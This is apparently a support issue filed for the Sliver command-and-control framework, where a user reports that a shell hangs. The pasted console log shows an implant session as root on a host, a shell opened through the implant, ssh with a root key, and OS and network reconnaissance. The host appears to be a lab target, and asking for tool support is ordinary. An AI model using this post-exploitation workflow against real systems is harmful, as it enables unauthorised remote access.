Interactive Shell Stuck After Connection Established

[Intrusionz3r0X]

Hi team,

I have encountered an issue while using Sliver. Here's the context:

• I created an implant pointing to my host.
• I successfully received a back connection.
• However, when attempting to establish an interactive shell session, it appears to get stuck.

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain persist
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df
[*] Welcome to the sliver shell, please type 'help' for options

sliver > sessions 

 ID         Name               Transport   Remote Address         Hostname   Username   Operating System   Locale   Last Message                            Health  
========== ================== =========== ====================== ========== ========== ================== ======== ======================================= =========
 57bf091d   FRIENDLY_GRAMMAR   http(s)     10.129.229.147:45184   dmz01      root       linux/amd64        en-US    Sat Dec 21 21:41:06 PST 2024 (3s ago)   [ALIVE] 

sliver > use

? Select a session or beacon: SESSION  57bf091d  FRIENDLY_GRAMMAR  10.129.229.147:45184  dmz01  root  linux/amd64
[*] Active session FRIENDLY_GRAMMAR (57bf091d-5553-4207-8e34-1b80ee632b29)

sliver (FRIENDLY_GRAMMAR) > shell --no-pty --shell-path /bin/sh

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

This is the target information

ssh -i dmz01_root_id_rsa [email protected]
<SNIF>
root@dmz01:~# export TERM=xterm
root@dmz01:~# cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.3 LTS"
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"


root@dmz01:~# uname -ar
Linux dmz01 5.4.0-113-generic #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
root@dmz01:~# 

Just as additional information I'm able to execute commands that indicate that everything is ok but the shell doesn't work properly

liver (FRIENDLY_GRAMMAR) > ifconfig

+-------------------------------------------+
| ens160                                    |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 2 | 10.129.229.147/16 | 00:50:56:b0:a7:d8 |
+-------------------------------------------+

+-----------------------------------------+
| ens192                                  |
+-----------------------------------------+
| # | IP Addresses    | MAC Address       |
+---+-----------------+-------------------+
| 3 | 172.16.8.120/16 | 00:50:56:b0:aa:9a |
+-----------------------------------------+

+---------------------------------------+
| docker0                               |
+---------------------------------------+
| # | IP Addresses  | MAC Address       |
+---+---------------+-------------------+
| 4 | 172.17.0.1/16 | 02:42:0e:64:b8:a2 |
+---------------------------------------+

+---------------------------------------+
| br-65c448355ed2                       |
+---------------------------------------+
| # | IP Addresses  | MAC Address       |
+---+---------------+-------------------+
| 5 | 172.18.0.1/16 | 02:42:64:41:d0:d6 |
+---------------------------------------+

13 adapters not shown.

Thank you in advance for your support!

Best regards,
Intrusionz3r0